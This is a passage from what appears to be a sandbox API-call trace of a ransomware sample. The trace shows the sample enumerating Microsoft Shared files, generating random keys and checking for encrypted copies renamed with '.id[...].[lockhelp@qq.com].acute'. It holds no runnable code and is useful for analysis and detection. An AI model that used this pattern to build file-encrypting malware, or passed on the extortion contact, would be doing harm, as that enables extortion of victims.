Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.626] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.626] ResetEvent (hEvent=0x2d4) returned 1 [0272.626] SetEvent (hEvent=0x2d8) returned 1 [0272.626] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.626] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=215) returned 1 [0272.626] CloseHandle (hObject=0x334) returned 1 [0272.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml")) returned 0x20 [0272.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.626] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.627] ResetEvent (hEvent=0x2d4) returned 1 [0272.627] SetEvent (hEvent=0x2d8) returned 1 [0272.627] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.627] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1437) returned 1 [0272.627] CloseHandle (hObject=0x338) returned 1 [0272.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0272.627] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.627] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.628] ResetEvent (hEvent=0x2d4) returned 1 [0272.628] SetEvent (hEvent=0x2d8) returned 1 [0272.628] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0272.629] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=219) returned 1 [0272.629] CloseHandle (hObject=0x334) returned 1 [0272.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0272.629] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.629] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.629] ResetEvent (hEvent=0x2d4) returned 1 [0272.629] SetEvent (hEvent=0x2d8) returned 1 [0272.629] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.629] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0272.631] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=924) returned 1 [0272.631] CloseHandle (hObject=0x338) returned 1 [0272.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0272.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.631] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.732] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.949] ResetEvent (hEvent=0x2d4) returned 1 [0272.949] SetEvent (hEvent=0x2d8) returned 1 [0272.949] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.951] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=255) returned 1 [0272.951] CloseHandle (hObject=0x368) returned 1 [0272.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm")) returned 0x20 [0272.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.951] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.951] ResetEvent (hEvent=0x2d4) returned 1 [0272.951] SetEvent (hEvent=0x2d8) returned 1 [0272.951] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.951] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=1074) returned 1 [0272.952] CloseHandle (hObject=0x368) returned 1 [0272.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0272.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.952] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.953] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.954] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.955] ResetEvent (hEvent=0x2d4) returned 1 [0272.955] SetEvent (hEvent=0x2d8) returned 1 [0272.955] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.955] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2319) returned 1 [0272.955] CloseHandle (hObject=0x368) returned 1 [0272.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0272.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.955] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.956] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.956] ResetEvent (hEvent=0x2d4) returned 1 [0272.956] SetEvent (hEvent=0x2d8) returned 1 [0272.956] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.957] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=231) returned 1 [0272.957] CloseHandle (hObject=0x368) returned 1 [0272.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20 [0272.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.957] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.958] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.958] ResetEvent (hEvent=0x2d4) returned 1 [0272.958] SetEvent (hEvent=0x2d8) returned 1 [0272.958] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.959] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=5524) returned 1 [0272.959] CloseHandle (hObject=0x368) returned 1 [0272.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0272.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.959] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.960] ResetEvent (hEvent=0x2d4) returned 1 [0272.960] SetEvent (hEvent=0x2d8) returned 1 [0272.960] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.960] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=10340) returned 1 [0272.960] CloseHandle (hObject=0x368) returned 1 [0272.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0272.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.960] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.962] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.964] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.964] ResetEvent (hEvent=0x2d4) returned 1 [0272.964] SetEvent (hEvent=0x2d8) returned 1 [0272.964] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.964] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=6406) returned 1 [0272.964] CloseHandle (hObject=0x368) returned 1 [0272.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0272.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.964] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.965] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.966] ResetEvent (hEvent=0x2d4) returned 1 [0272.966] SetEvent (hEvent=0x2d8) returned 1 [0272.966] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.966] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=7498) returned 1 [0272.966] CloseHandle (hObject=0x368) returned 1 [0272.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0272.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.966] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.967] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.969] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.969] ResetEvent (hEvent=0x2d4) returned 1 [0272.969] SetEvent (hEvent=0x2d8) returned 1 [0272.969] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.969] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.970] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=152300) returned 1 [0272.970] CloseHandle (hObject=0x368) returned 1 [0272.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0272.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.970] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.971] ResetEvent (hEvent=0x2d4) returned 1 [0272.971] SetEvent (hEvent=0x2d8) returned 1 [0272.971] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.971] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=2209) returned 1 [0272.971] CloseHandle (hObject=0x368) returned 1 [0272.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg")) returned 0x20 [0272.971] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0272.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Monet.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\monet.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.971] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.972] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0xffffffff) returned 0x0 [0272.973] ResetEvent (hEvent=0x2d4) returned 1 [0272.973] SetEvent (hEvent=0x2d8) returned 1 [0272.973] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x420fda0 | out: pbBuffer=0x420fda0) returned 1 [0272.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Music.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\music.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0272.974] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x420fd38 | out: lpFileSize=0x420fd38*=26036) returned 1 [0272.974] 